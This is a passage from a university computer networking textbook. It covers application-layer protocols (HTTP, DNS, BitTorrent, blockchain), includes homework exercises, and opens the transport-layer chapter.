Google Chrome whether you want to use the built-in Flash player of the web
browser or the Flash player of the separately installed Adobe Flash Player. Both
implement the same application layer protocol, Real Time Messaging Protocol
(RTMP) and the application developer (in this case even the application user) is
free to choose. Similarly, the same web browser can also use different application
layer protocols1 for streaming different types of videos.
Table 3.1 gives several examples of applications and (some of) the underlying
application layer protocols that enable a specific function of the application.
1 Often there are implementations ready for use, which can be included in the software or

implementations that can be used as plugin.

46
3.1. APPLICATION LAYER PROTOCOL: WHAT IS IT AND WHAT IS IT NOT?47

Example Application Supporting application Remarks

applications function layer protocol (example)

Web browser Surf the web: Hypertext Transfer Proto- HTTP is built into the
(e.g. Chrome, download web col (HTTP) web browser.
Firefox) pages.
Web browser Stream Flash Real Time Messaging Pro- The browser has a na-
video. tocol (RTMP) defined by tive player that imple-
Adobe Flash ments RTMP or it uses
Adobe Flash Player as
a plugin.
Web browser Stream HTTP Live Streaming Default browsers in iOS
YouTube video. (HLS) and Android support
HLS natively.
E-mail client Send and re- Exchange protocol and Protocols built into the
(e.g. Outlook, ceive e-mails. HTTP for mail in both application.
Mozilla Thun- directions. SMTP for
derbird) outgoing mail. POP3,
IMAP for incoming mail.
File trans- Transfer files File Transfer Protocol FTP is built into the ap-
fer client from and to a (FTP) plication client.
(e.g. FileZilla, server.
CyberDuck)

Table 3.1: Some applications, the application layer protocols supporting their
functions. The list of application protocols is not meant to be complete or
comprehensive. It serves as an example.

In reality the number of applications that can be created is unlimited. Fig-

ure 3.1 shows the increase of the number of apps available in the iOS App Store
over the years. Not all of these apps are network apps, of course. However, a
significant percentage are network apps, i.e. their usefulness without a network
connection is very limited.
Many times you are asked to give privacy permissions to these apps, e.g.
access to your contact list and the corresponding use policy, which could be very
sensitive. Apple has a strong security policy (probably the best enforced in this
market) that only the apps that are available from the official iOS App Store can
be installed on iOS devices. They check the security settings of each application
from many developers (and the overall compliance to Apple security and privacy
guidelines) and those apps that violate these policies are rejected (i.e. if they
are detected). Applications that do not pass Apple’s review process can still be
found available for download in various web pages. However, you will not be able
to install them on an official ‘original’ iOS release. As we discussed in Chapter 1,
there is still the question of “what is security?” here. The attacker model does
not contain the errors made during the screening process. For example, news
reports indicate that in 2015 around 250 apps were withdrawn by Apple due
to a privacy policy breach2 . There were a total of about one million downloads
of these apps “capable of collecting personal data” before the issue was finally
discovered.
The communicating entities in an application layer protocol are not users

2 http://www.itv.com/news/2015-10-20/apple-withdraws-hundreds-of-apps-after-privacy-breach/
48 CHAPTER 3. APPLICATION LAYER

Figure 3.1: The number of apps in the Apple app store over years. (Figure
source: statista.com)

or end devices. They are application programs (or rather processes), which
are most of the time remotely located. These may also reside on the same end
device, e.g. two processes running in the same computer may communicate over
a network connection.
Furthermore, application layer protocols are not for the network core. A
design goal, which is particularly critical for large networks like the Internet,
is to push complexity to the network edge. In the Internet, a router does
not run user applications and application layer protocols because it would be
just too complex considering the combination with all the packet traffic and
processing it has to deal with. However, it is not strictly forbidden or impossible
to put an application in places other than end devices, e.g. for debugging or
testing purposes. In this course, we will disregard these exceptions and consider
that routers always implement up to layer 3 (network layer), and that layers 4
and 5 (transport and application layers) are implemented only by end devices.
Computer network applications of users live on end devices that communicate
over a network infrastructure as shown in Figure 3.2. An example is the relation
between a web browser program and a web server program.

3.2 Issues Solved by the Application Layer

Generally speaking, the issues that are addressed by various application layer
protocols are:

1. Architecture Styles: An application protocol can utilize the pure client-

server architecture style or the pure peer-to-peer architecture style. Alter-
natively, it can also utilize a hybrid of the two architecture styles.

2. Addressing: Remote entities of a network application communicate with

each other using addresses. Each application provides an address format
3.2. ISSUES SOLVED BY THE APPLICATION LAYER 49

Figure 3.2: Network applications and their protocols live on end devices. (Figure
by Kurose and Ross)

for this purpose. An example e-mail address is [email protected]. An

example web address is http://www.tue.nl or, more precisely, http:
//www.tue.nl:80 where 80 denotes the default port number for HTTP.
The web client process finds the web server process using its “socket
address” (covered in detail in Chapter 4) consisting of its IP address and
port number. The translation from a domain name (e.g. tue.nl) to an IP
address is done by the application layer’s Domain Name System (DNS)
protocol.

3. Service Models: The application layer protocol provides services to the

applications running on top, and receives services from the transport layer.
For example, the Simple Mail Transfer Protocol (SMTP) is a service for the
mail client applications that allows the application to send e-mail messages
to an e-mail server. Also see the examples in Table 3.1.

3.2.1 Application Architecture Styles

In all three models explained below the communicating entities are remote
application programs; i.e. they are not users or devices.

The Client-Server Model

For a long time the client-server architecture model was “the” model for Internet
applications. Below are definitions of client process and server process, where
the term process refers to a “program under execution”. A program is just
50 CHAPTER 3. APPLICATION LAYER

Figure 3.3: Issues solved by application layer protocols. (Figure by Forouzan)

program code defining variables and actions on variables. The operating system
can create multiple processes from the same program. For example, you can
have multiple instances of a web browser program execute concurrently.

Definition 3.2.1.1 Client and Server Processes

In the client-server architecture, the process that initiates the contact (“speaks
first”) and requests services from a server is called a client process. The server
process has a fixed entry point for incoming requests, i.e. the ‘location’ (network
address and process identifier) of the server needs to be fixed.

In this model, there is an always-on server (or a set of servers that share the
load) that runs an infinite server program at all times, 24/7, always ready to
serve requests of client processes. The server typically has access to an ample
amount of computation, storage and bandwidth resources, and has a permanent
network address (e.g. an IP address in the Internet). The client on the other
hand may be online or offline (on demand e.g. of its user) and can change its
(IP) address.

Figure 3.4: Client-server model. (Figure by Kurose and Ross)

3.2. ISSUES SOLVED BY THE APPLICATION LAYER 51

Figure 3.5: Multiple clients (client processes) connecting to a single server

(process) in the client-server model. (Figure by Forouzan)

Typically a lot of clients are served by a server. As of April 2016, there are
7000+ Tweet’s posted, 700+ Instagram photos uploaded, 53000+ Google search
queries submitted every second3 . This translates to huge client-server traffic.
In order to deal with these scalability issues service providers build very large
server farms that by themselves need huge amounts of power (Watts). That is
why server farm locations have to be chosen very carefully looking at climate
and nature (e.g. for water cooling).
Pure clients do not communicate directly with each other and if they do, at
least one of them has to have both client and server parts. If both have client
and server parts but they do not exactly act like a server (e.g. not always-on)
then the difference from the peer-to-peer model becomes a bit blurry. Note that
even applications with peer-to-peer architectures have client processes and server
processes (i.e. one initiates the connection and the other accepts it).

Peer-to-Peer and Hybrid Applications

In the peer-to-peer architecture style there is no always-on server process and

peers that arbitrarily communicate with each other can go online and offline as
they wish. Peers can also change their IP addresses.
Unlike the client-server relation, peers do not have a reference IP address (of
another peer) where they can initiate the communication. In order to be able to
communicate, they first need to deal with this problem by making use of a list of
reference entry points (e.g. a list of IP addresses that are potentially online). For
example, in the Gnutella peer-to-peer network (e.g. LimeWire) a newly joining
peer repeatedly tries a list of candidate peers until it gets a (TCP) connection
to a remote peer. The new peer then sends a (ping) message to this remote
peer, which is forwarded (flooded) to a number of other peers. In return, these
peers reply with a (pong) message, allowing the new peer to make connections
to them.
File sharing applications, e.g. those based on the BitTorrent protocol, are
very popular. This protocol is based on pure peer-to-peer connections for file
transfer and client-server connections for peer tracking. Servers that are called
“trackers” host the list that contains references to the files to be shared.

3 http://www.internetlivestats.com/one-second/
52 CHAPTER 3. APPLICATION LAYER

Figure 3.6: Peer-to-peer model. (Figure by Kurose and Ross)

3.2.2 Addressing in Application Layer

Application addressing concerns the ability of an application to uniquely refer
to relevant network resources (e.g. resources like a web page or an image). The
combination of an IP address (e.g. 131.155.74.72), with a port number (e.g. 80)
and a directory structure (e.g. /~tozceleb/2IC60/index.html) allows us to
address any resource in the Internet.
Just try http://131.155.11.13:80/~tozceleb/index.htm.
However, this type of addressing is not very convenient to use in an application.
For this reason, the Internet protocol stack defines identifier formats that are
universally applicable and easier to understand. These identifiers are called
Uniform Resource Identifiers (URI). A specific type of URI is called an Internet
address or a Uniform Resource Locator (URL) and it points to the location of the
resource and the way to reach it. The URL structure is depicted in Figure 3.7.

Figure 3.7: URL structure. (Figure by Forouzan)

URL fields are

• Protocol: indicates the protocol (e.g. FTP, HTTP).

• Host: a computer where the resource is located.
• Port: the (default) port number of the destination process.
• Path: the path name of the file (the resource).

The URL http://www.win.tue.nl/~tozceleb/2IC60/index.htm for the

course website is much easier to remember than the IP address and the path name
given above. Or equivalently: http://www.win.tue.nl/~tozceleb/2IC60/
3.3. LAYER 4 SERVICES USED BY AN APPLICATION 53

Including the method (http) the URL consists of four parts. The second
part is the host name www.win.tue.nl. The third part is the port number (80).
Finally, the fourth part is the path name ~tozceleb/2IC60/index.htm.
In practice the port number 80 and the object name “index.htm” are assumed
by modern web browsers and need not be explicitly stated.

Definition 3.2.2.1 Uniform Resource Identifier (URI)

“A Uniform Resource Identifier (URI) is a compact string of characters for
identifying an abstract or physical resource.” (IETF RFC 2396)

As we will see later in Chapter 5 routing in the Internet is done using IP

addresses, so there has to be a mechanism in place that translates a name into
an IP address. The role of the application layer protocol Domain Name System
(DNS) is exactly this. We will go into the details of DNS in Section 3.5.2.

3.2.3 Application Layer Services

The application layer protocol defines types of messages exchanged between
communicating processes (e.g. request, response etc.), the message syntax (i.e.
the message fields and formats), message semantics (i.e. meaning of information
in different fields) and rules for message exchange (i.e. when and how processes
send and respond to messages). Protocol details can be publicly available (RFC
2616 for HTTP and RFC 2821 for SMTP) or proprietary (e.g. Skype).

3.3 Layer 4 Services Used by an Application

In providing these services for the applications, the application layer makes use
of the services of the transport layer. The categories of services that may be
received from the transport layer in theory are reliability, delay and throughput
support as depicted in Figure 3.3.

• Reliability support: Applications such as e-mail and file transfer are

intolerant to data loss . In this case, the transport layer’s reliability service
(e.g. TCP covered in Chapter 4) can be used by the application to make
sure that no data is lost in transit.

• Delay/Timing support: Some applications may have constraints of

maximum delay or maximum delay jitter (variance of delay), e.g. real-time
video conferencing. The application protocol may rely on the services of
the transport layer protocol to mitigate the effects of delay and delay jitter.

• Throughput support: The number of bits transferred per second is

important for many network applications (e.g. multimedia) for quality
purposes. Other apps (e.g. file transfer) make use of what throughput
they get.

• Security support: The transport layer can provide a security service.

Example services are confidentiality (through encryption) and data integrity
(through hashing).
54 CHAPTER 3. APPLICATION LAYER

Figure 3.8: Transport service requirements of some applications. (Figure by

Kurose and Ross)

Some examples of transport layer service requirements of different applications

are given in Figure 3.8.
A transport layer protocol may provide some of these services. For example
the Transmission Control Protocol (TCP) of the Internet’s transport layer is
connection-oriented: a connection setup is required between client and server
processes. It provides reliable transport of application messages between sending
and receiving processes and it makes sure that packets are delivered to processes
in the correct order. It provides flow control between the sender and the receiver
such that the sender does not overwhelm the receiver by sending too much,
too fast. It is sensitive to increasing network traffic and implements congestion
control by throttling the sender process when network delays are high (i.e. long
router queues). However, TCP as a protocol does not provide delay, minimum
throughput or security guarantees.
User Datagram Protocol (UDP), on the other hand, does the bare minimum
expected from a transport layer protocol, that is process to process delivery of
data. UDP does not provide connection setup, reliability, flow control, congestion
control, timing guarantees, throughput guarantees, or security.
Why do we bother with UDP when TCP seems to provide all those services
that UDP does not? The answer lies in the simplicity and the speed of UDP.
Some services that are provided by TCP may not be needed. For example, if the
link is already reliable, you don’t need additional reliability from the transport
layer protocol. Moreover, if for some reason the application runs on top of
UDP, those extra services that are needed can always be implemented in the
application layer protocol (e.g. reliability). We will come back to UDP and TCP
later in Chapter 4.
Examples of application layer protocols and their underlying transport layer
support are given in Figure 3.9.

3.4 Programming Network Applications

Making network applications requires the ability to call the functions that enable
process-to-process communication, which is a service originally provided by
3.5. EXAMPLE APPLICATION LAYER PROTOCOLS 55

Figure 3.9: Transport layer protocols supporting various applications and appli-
cation layer protocols. (Figure by Kurose and Ross)

the transport layer. For simplicity, these services need to be available to the
application developer as part of an Application Programming Interface (API).
Using the socket API a network application can create and access network
sockets (i.e. send and receive messages).

Definition 3.4.0.1 Network Socket

A network socket is a data structure that represents one end of an end-to-end
(process-to-process) connection. A process talks to the outside world through
network sockets.

In order to address the destination process at the other side of the connection,
a process needs an identifier for the process, or equivalently, an identifier for the
corresponding socket.4
In the Internet, processes are identified by using IP addresses and port
numbers. For example, a web browser addresses a web server using the IP
address of the web server (which is resolved from a web address) and the default
HTTP server port number 80. We will cover network sockets and process-to-
process addressing in much more detail in Chapter 4.

3.5 Example Application Layer Protocols

3.5.1 Hypertext Transfer Protocol (HTTP)
The world-wide web was introduced in 1991 as an Internet application. HTTP
is a client-server based application layer communication protocol that governs
the world-wide web. Before we explain HTTP services, let us define some web
terms that will be used in this discussion. A web page consists of objects such
as HTML (Hypertext Markup Language) files, images, Java applets, and audio
files. Each object is associated with a URL. The HTML file is the base file that
4 This is not to mean that each process has one socket. Just like a house can have multiple

doors, a process can create multiple network sockets.

56 CHAPTER 3. APPLICATION LAYER

contains text and several references to the other objects of the web page in the
form of URLs.
The client process (e.g. a web browser like Google Chrome, Internet Explorer)
requests, receives, and displays web objects. The server process (e.g. an Apache
web server) sends objects in response to HTTP requests as shown in Figure 3.10.
HTTP uses a TCP connection on the well-known HTTP port number 80. In
one of the lab sessions you are asked to build such a web server.

Figure 3.10: HTTP request and response. (Figure by Kurose and Ross)

Figure 3.11 shows the message sequence diagram created as a result of a

user entering the URL www.win.tue.nl/index.html in her web browser. The
example shows the operation with a non-persistent connection, i.e. the web server
closes the TCP connection after each response and the client needs to open a new
TCP connection for every request. In case of a persistent connection (default in
HTTP v1.1), the server keeps the TCP connection open for further requests of
the client. Using persistent connection the client can pipeline its requests without
waiting for individual responses. Actually, also with non-persistent connections,
the client can open parallel TCP connections to pipeline its requests. However,
this is less efficient in terms of message traffic.
There are two types of HTTP messages: request (from client to server) and
response (from server to client). HTTP messages are in ASCII (human readable
text) format.

HTTP request message: The exact format of the HTTP request message
is as shown in Figure 3.12. An example HTTP request message is given in
Figure 3.13.

• Request line: This is the first line that indicates the type of the request
(method), the directory “path” of the requested object URL, and the
HTTP version.

• Header lines: The header lines in this field contain information such as
the “host” part of the requested object’s URL, the name of the web browser,
the requested type of connection (persistent or not) and the requested
3.5. EXAMPLE APPLICATION LAYER PROTOCOLS 57

Figure 3.11: HTTP message flow diagram upon entering the URL www.win.tue.
nl/index.html. (Figure by Kurose and Ross)

language (useful if the web server provides versions in multiple languages,

e.g. when you want to view the web page in Dutch).
• Carriage return, line feed: Indicates the end of the HTTP request
header. The body of the message (i.e. the application payload) follows
this.

Figure 3.12: HTTP request message format. (Figure by Forouzan)

HTTP response message: The exact format of the HTTP response message
is as shown in Figure 3.14. An example HTTP response message is given in
Figure 3.15.
58 CHAPTER 3. APPLICATION LAYER

Figure 3.13: HTTP request message example. (Figure by Kurose and Ross)

• Response line: This is the first line that contains the HTTP version and
the response code, e.g. 200 OK, 404 Not Found.

• Header lines: The header lines in this field contain information such as
type of connection (persistent or not), date and time of response, server
software identification, date and time of last modification for the object
included in the response, the object length and the object type.

• Carriage return, line feed: Indicates the end of the HTTP response
header. The requested object follows this.

Figure 3.14: HTTP response message format. (Figure by Forouzan)

Figure 3.15: HTTP response message example. (Figure by Kurose and Ross)
3.5. EXAMPLE APPLICATION LAYER PROTOCOLS 59

Cookies: How to Keep State

In its original design, HTTP is a stateless protocol, i.e. it defines request and
response transactions without knowledge of and regardless of the current states of
the client and the server. That is the server does not store contextual information
of a client such as: what was the last object that was downloaded? This feature
contributes to the simplicity of the protocol on the one hand, and the privacy of
the clients on the other.
However, state keeping has its advantages too. For example, your online book
store can maintain a list of books you previously looked into and recommend
similar books. For this purpose, cookies are provided as an additional tool to
keep state and HTTP’s cookie header line (added after cookie introduction)
facilitates this.
A cookie is a file created and stored by the client based on an HTTP request-
response interaction and it is managed by the web browser. Every time the
client visits the same website the cookie identity is communicated inside the
HTTP request message. The web server can do some cookie specific action with
this information (e.g. book recommendation by the bookstore) using the data
accumulated about this specific client at a back-end database. This is illustrated
in Figure 3.16.

Figure 3.16: Cookie use. (Figure by Kurose and Ross)

Since cookies allow a website to gather information about a user (what you
like, what you search etc.) it can potentially allow third parties to identify you,
which is a clear privacy issue.

Web Cache / Proxy Server

HTTP supports proxy servers, or as they are otherwise known, web caches.

Definition 3.5.1.1 Proxy Server / Web Cache

A proxy server or a web cache is a network host that can respond to HTTP
requests on behalf of a web server, i.e. without involving the web server in the
request-response exchange.

The proxy server achieves this by keeping copies of HTTP responses to recent
requests. In order to enable this feature, the user needs to configure her web
60 CHAPTER 3. APPLICATION LAYER

browser to access the Internet via the proxy (i.e. proxy settings). After that the
web browser sends its HTTP requests directly to the proxy server. If the object
requested is not in the proxy, the proxy sends a request to the origin server for
the object. After receiving the object, the proxy forwards it to the client in an
HTTP response message. However, if the requested object is already at the proxy,
the proxy sends the object back to the client immediately, without contacting
the origin web server. This is shown in Figure 3.17. This can significantly reduce
the average response times for HTTP requests and reduce traffic on the access
link to the rest of the Internet.

Figure 3.17: Web cache operation. (Figure by Kurose and Ross)

Web caches can also provide an important security advantage by

scanning the objects they receive from the origin server. Behind a
web cache the client computer is less likely to be infected by malware
and viruses.

3.5.2 Domain Name System (DNS)

The devices in the Internet are identified in different ways. For example, a
web server has a unique domain name (e.g. tue.nl) and a unique IP address.
Domain Name System (DNS) is the application-layer protocol of the Internet
that utilizes distributed database (many servers) and is responsible for dealing
with:

• Address resolution.

– Translating a domain name into an IP address and vice versa.

– Inverse translation is also useful, e.g. when a server needs to verify
the country of origin of a client.

• Host aliasing, i.e. maintaining canonical and alias names.

– E.g. www.gmail.com versus mail.google.com.

3.5. EXAMPLE APPLICATION LAYER PROTOCOLS 61

• Replica web servers: a set of IP addresses that map to a single canonical

name.

– E.g. mapping to various server IP addresses for the domain name

www.google.com.

In the hierarchical name space of DNS, each name is made of several parts.
This hierarchy corresponds to a tree structure as shown in Figure 3.18. A domain
is nothing but a subtree of this tree structure. Each domain is identified by a
domain label and the top level domain labels are, e.g. generic (3 letters) such as
com, edu, org, net, or per country (2 letters) such as nl, fr. Finally, a domain
name is a sequence of labels separated by dots, e.g. win.tue.nl is with labels
win, tue and nl.

Figure 3.18: DNS name space tree structure. (Figure by Forouzan)

If a DNS server knows how to translate the queried domain name, it responds
with the translation. If a DNS server does not know how to translate a particular
domain name, it asks another one, and so on in a hierarchical manner, until the
correct IP address (or domain name in case of inverse translation) is returned.
Two types of DNS query handling are shown in Figure 3.19, where a host at
cis.poly.edu wants to find out the IP address for gaia.cs.umass.edu. On
the left, a recursive DNS query to the authoritative DNS server is followed by a
number of iterative DNS queries. On the right, the figure shows all recursive
DNS queries. In the “all recursive” case the requesting host puts the burden of
name resolution on the hierarchy of DNS name servers, which results in heavy
load for the DNS infrastructure, especially when we consider huge numbers of
queries (what happens in reality). The use of both UDP and TCP is possible in
DNS, on port number 53.
The DNS server hierarchy is exemplified in Figure 3.20, where the Top-Level
Domain (TLD) servers are responsible for all top-level country domains as well
as for com, org, net, edu, etc. Authoritative DNS servers are DNS servers of
individual organizations. These DNS servers provide authoritative hostname
62 CHAPTER 3. APPLICATION LAYER

Figure 3.19: DNS queries. Left side: iterative and recursive queries mixed. Right
side: All recursive queries. (Figure by Kurose and Ross)

to IP mappings for an organization’s servers (e.g. Web, mail). They can be

maintained by the organization or its service provider.

Figure 3.20: Distributed, hierarchical DNS database. (Figure by Kurose and

Ross)

A final remark on DNS: Even though it is an application layer protocol,

it provides a fundamental Internet function. For example, without DNS, web
surfing would not be practical (people would have to remember IP addresses
instead of web addresses).

3.5.3 BitTorrent
In peer-to-peer file sharing, a peer starts to serve as a file source as soon as it
receives some part of the file from another peer, i.e. it shares what it has already
received. Due to difficulties in managing content that is shared, peer-to-peer file
sharing has been subject to many lawsuits.
BitTorrent is an application layer protocol for file sharing. Here the term
torrent refers to a set of peers sharing parts of a file (i.e. each peer shares the
parts it has).
3.5. EXAMPLE APPLICATION LAYER PROTOCOLS 63

BitTorrent with Trackers: The original BitTorrent is a hybrid protocol that

is a combination of peer-to-peer file sharing with a client-server architecture
based peer tracking scheme. Servers that are called “trackers” host the list of
files to be shared (but not the files themselves) and they “track” which peers
are in possession of file parts. By connecting to a tracker, the client program
can find peers and establish TCP connections with them.

Tracker-less BitTorrent: Recently “tracker-less” BitTorrent protocol gained

some momentum, where tracker servers are no more needed and their peer lookup
services are replaced by Distributed Hash Tables (DHT).

Exchanging File Chunks: In BitTorrent the shared files are first divided
into chunks of size 256 KB. When trackers are used a new peer registers with the
tracker to get a list of peers that are participating in the same torrent. This new
peer does not yet have any chunks and starts accumulating chunks after making
TCP connections to some peers. The peers with which a TCP connection is
established are called neighbors. The new peer starts downloading the chunks
it does not have. For that it asks each of its neighbors for a list of chunks that
they have and it requests the chunks it does not yet have. In doing so it starts
with the most rare chunks. In the meantime it uploads the chunks it has already
accumulated to other peers. Every 10 seconds a peer ranks its neighbors based
on the respective download rates from these neighbors. The peer sends chunks
to the top four neighbors in this ranking.
Every 30 seconds a peer (say Alice) randomly selects another peer to send
chunks to so that new peers (who do not have many chunks to share) get a
chance to make it to the top four list of other peers and ramp up their download
speeds. If the new peer (say Bob) reciprocates, it may get into the top four
senders list of Alice, effectively ramping up his download and upload speeds.

Figure 3.21: The list of top 4 providers for a peer changes dynamically, over time
leading to larger cumulative upload and download speeds . (Figure by Kurose
and Ross)

After receiving the entire file the peer continues to upload without download-
ing.
64 CHAPTER 3. APPLICATION LAYER

File Distribution Time: In the client-server paradigm, the time it takes to

distribute a file to N clients from one server is highly dependent on the file size
F , the number of clients, the upload bitrate of the server us and the individual
download bitrates of the clients (di for client i). This delay is necessarily larger
than the time it takes for the server to upload N copies of the file (i.e. N F/us )
and it is necessarily larger than the time it takes for the slowest client to download
F bits (i.e. F/min(di )).
On the other hand, in P2P file sharing, the distribution time of a file is
necessarily larger than the time it takes for the first copy to be uploaded by the
source peer (i.e. F/us ). It is larger than the time it takes for the slowest client
to download F bits (i.e. F/min(di )). Finally, it is also necessarily larger than
the time it takes for N copies of the file to be uploaded by all peers together
(i.e. N F/(us + u1 + u2 + · · · + uN )).

Figure 3.22: P2P file distribution. (Figure by Kurose and Ross)

3.5.4 Blockchain
Blockchain is a protocol for building applications for distributed bookkeeping
purposes. Consider a bank that is responsible for bookkeeping of transactions of
the bank clients. The bank transaction records represent a centralized ledger
that contains such bookkeeping while hiding transactions of individual clients
from each other and from other parties. Alternative to this is a decentralized
ledger implemented on a distributed P2P network, i.e. a blockchain. The
ledger is maintained by the peers and it is important to make sure that the
transactions are consistent from the perspectives of all joining peers. A ledger
consists of a chain of records (data structures) that are called “blocks”, hence
the name “blockchain”. Blocki contains a record including some transactions, a
timestamp and an encrypted hash of the previous block, H(Blocki−1 ) as shown
in Figure 3.23.

Figure 3.23: Blockchain illustrated.

3.6. SUMMARY 65

In a blockchain every peer can see and verify all transactions. Note that this
is the opposite of traditional bookkeeping practice. Inserted blocks are there to
stay, i.e. it is only possible to add information to a blockchain (no deletions).

3.6 Summary
The goal of this chapter was to provide an overview of the application layer,
including possible architectural styles and its service models as well as the services
it needs from the transport layer. The socket API gives the necessary tools to
program network applications. The concepts introduced were exemplified by
three famous application layer protocols. The reader should now be able to make
the separation between an application and the application layer protocol that
supports the application.

3.6.1 Literature
Suggested reading

• Chapter 2 of the book Computer Networking: A Top-Down Approach by

Kurose and Ross [20, Chapter 2].

3.7 Homework Exercises

1. Look up the Secure Sockets Layer (SSL) protocol (and its successor TLS)
on the Internet. It is an enhancement on top of TCP for secure process-
to-process communication over a network. Which layer of the Internet
protocol stack do these protocols belong to and WHY?

2. What are the transport service requirements of your favorite online game?
If you are not a gamer (shocking) or the requirements for the game are
vague (e.g. it requires ‘broadband connection’) then do this exercise for
another Internet application of your choice.

3. Simple Mail Transfer Protocol (SMTP) is a protocol that is used to transfer

e-mail messages i) from the web client of a sender to his e-mail server, and
ii) between e-mail servers of the sender and the receiver(s). Just like in
HTTP messages, in an e-mail message, the body of the message is preceded
by the SMTP header (carriage return, line feed in between) that consists of
plain text. SMTP header fields contain useful information, e.g. for system
administrators to trace e-mails. Reading a header from bottom to top,
the ‘Received:’ header lines show a list of all the network entities that the
message passed through. View and copy the source of an e-mail message
that you have received (you may simply create a test message from your
personal e-mail to TU/e e-mail). Answer the following questions.

• How many ‘Received:’ header lines are there?

• What servers and computers did the message go through?

4. List two advantages of deploying a Web cache (i.e. a proxy server) in an

institutional network. Justify your answer.
66 CHAPTER 3. APPLICATION LAYER

5. The figure shows an institutional network connected to the Internet.

Suppose that the average object size is 900,000 bits and that the average
request rate from the institution’s browsers to the origin servers is 1.5
requests per second. Also suppose that the amount of time it takes from
when the router on the Internet side of the access link forwards an HTTP
request until it receives the response is two seconds on average. In this
exercise we model the total average response time as the sum of the
average access delay (that is, the delay from Internet router to institution
router) and the average Internet delay. For the average access delay, use
4/(1 − 4β), where 4 is the average time required to send an object over
the access link and β is the arrival rate of objects to the access link.

(a) Find the total average response time.

(b) Now suppose a cache is installed in the institutional LAN. Suppose
the hit rate is 0.4. Find the total average response time.

6. The DNS service in the Internet is distributed by design. Alternatively,

DNS could have a centralized design instead. List two disadvantages of a
centralized design. Justify your answer.
Chapter 4

Transport Layer

The main responsibility of the transport layer is process-to-process data delivery.

Some other requirements of example applications from the transport layer are
listed in Figure 4.1.

Figure 4.1: Comparison of applications with respect to their reliability, delay,

delay jitter and bandwidth (throughput) requirements. Rating ‘high’ in a column
means that the application performance is very sensitive to this attribute.

Figure 4.2: The position of the transport layer in the Internet protocol stack.
(Figure by Forouzan)

In this chapter, the issues addressed by transport layer protocols and transport

67
68 CHAPTER 4. TRANSPORT LAYER

layer service models are introduced. The two transport layer protocols of the
Internet, UDP and TCP are explained and standard problems are discussed in
this context. Precisely, we try to answer the following questions:
• What are the principles of transport layer services and protocols?
• How to realize reliable process-to-process delivery, flow control and conges-
tion control?
• What are the details of transport layer protocols of the Internet?

4.1 Issues Solved by the Transport Layer

Generally speaking, the issues that are addressed by various transport layer
protocols are:
1. Addressing and Packetization: The addressing taken care of the trans-
port layer works with IP addresses (not with URLs). Recall that the
translation from human readable URLs to IP addresses is the job of the
application layer and is taken care of by the DNS protocol as we discussed
in Chapter 3 (i.e., an example of a fundamental Internet service realized by
an application layer protocol). A sender process addresses a remote process
using its socket address, whose components are IP address(es) and port
number(s). The sender process shoves a message “through the socket”,
which is then encapsulated in transport layer segments (multiplexing). At
the receiver side the message is extracted from the segment and is passed
to the correct destination process (demultiplexing).
2. Connection(-less) Service: A transport layer protocol may provide con-
nection service, which makes sure that the packets arrive at the receiving
process in the same order that they were sent. For this it has the mecha-
nisms in place for buffering and reordering segments. The communicating
processes need to establish, maintain and tear down connections in an
orderly fashion. The alternative to this is a connectionless service, which
aims to deliver messages to the destination individually and in any order
that the underlying network accommodates.
3. Reliable Data Transfer: Sender processes may rely on the transport
layer protocol to reliably transfer their messages to remote receiver pro-
cesses. Reliability at the transport layer is necessarily through end-to-end
(process-to-process) retransmissions. This may be combined with link layer
reliability (discussed in Chapter 6) where retransmissions are on a single
link. An interesting question (that we will answer later) is the following.
Why would we need link layer reliability when we already have transport
layer reliability, and vice versa?1
4. Flow Control and Congestion Control: Flow control aims to prevent
a sending process from overwhelming a receiving process by sending too
much too fast. Congestion control, on the other hand, aims to prevent
sender processes from overloading the network core.
1 See the lecture slides for an explanation of the generic principles of reliable data transfer.

In this text we will focus on the reliable transfer service provided in the Internet’s transport
layer.
4.2. ADDRESSING PROCESSES AND PACKETIZATION 69

4.2 Addressing Processes and Packetization

For process-to-process data delivery the transport layer needs the host-to-host
delivery service of the network layer. Similarly, the network layer builds its
host-to-host data delivery service upon the node-to-node data delivery (on a
single link) service of the data link layer. This is depicted in Figure 4.3.

Figure 4.3: Connections at the transport layer (process-to-process), the network

layer (host-to-host) and the link layer (node-to-node) shown in one picture.
(Figure by Forouzan)

Transport Layer Multiplexing: At the sender side, the transport layer re-
ceives data from sender processes and encapsulates these in transport
layer segments by adding transport layer headers to them. Finally, these
segments are passed to the network layer for further processing.
Transport Layer Demultiplexing: At the receiver side, the segments that
are passed from the network layer to the transport layer are examined and
the data extracted from these are directed to their respective destination
processes.
The destination IP is enough to address the destination host. However, by
itself, it is not enough to point to the destination process. Individual processes
running on a given host are identified by their port numbers, which they acquire
via the socket API. As we discussed earlier in Chapter 3, process-to-process
addressing requires makes use of network sockets. A socket is identified by a
combination of IP number(s) and port number(s).
A port number is a 16-bit integer that takes a value between 0 and 65535.
Internet Assigned Numbers Authority (IANA), which is a sub-department of
Internet Corporation for Assigned Names and Numbers (ICANN), is the official
authority that ‘reserves’ port numbers to various applications. The port numbers
ranging from 0 to 1023 (also known as well-known port numbers) are reserved
for applications such as FTP (file transfer), HTTP (world-wide web) and SMTP
(e-mail).

Q&A on process addressing and the use of sockets

You may read in different places different usages of port numbers and sockets.
The following gives a list of questions and ‘standard’ answers regarding port
70 CHAPTER 4. TRANSPORT LAYER

numbers and network sockets. Note that even though this may not be ‘good
practice’, it is not strictly forbidden to do it differently and you may find
operating systems that allow alternative ways.

• A destination port number identifies a process on a destination host. Is it

true always that each process has one unique port number?

– Two processes may listen on the same port number. For example, a
web server can run multiple processes listening on the port number
80. When a transport layer segment with destination port number 80
arrives to this server, the extracted data is sent to one of these web
server processes by the transport layer.

• Is there a single network socket per process or can a process use more than
one socket?

– There can be more than one socket per process, each with a unique
identifier. The exact format of the identifier depends on whether the
socket is a UDP or TCP socket.

• Can a destination process receive packets from multiple source hosts on a

single socket?

– Yes, this is possible with UDP. TCP does not allow this as it is
based on a ‘connection’ with only one sender and one receiver (see
Section 4.3).

• How does IANA enforce the use of well-known port numbers explicitly by
certain application types?

– Well-known port numbers being ‘reserved’ does not mean that it is

impossible to use them in other applications. That would be against
the layering philosophy. The reservation helps to standardize servers.
The developers of other applications can consciously stay away from
well-known port numbers in order to avoid confusion.

4.3 Connection and Connection-less Service

The transport layer can provide a connection-oriented service or a connection-less
service.
In connection-oriented service data transfer is necessarily between processes
that have first established a connection. A connection is similar to a pipe whose
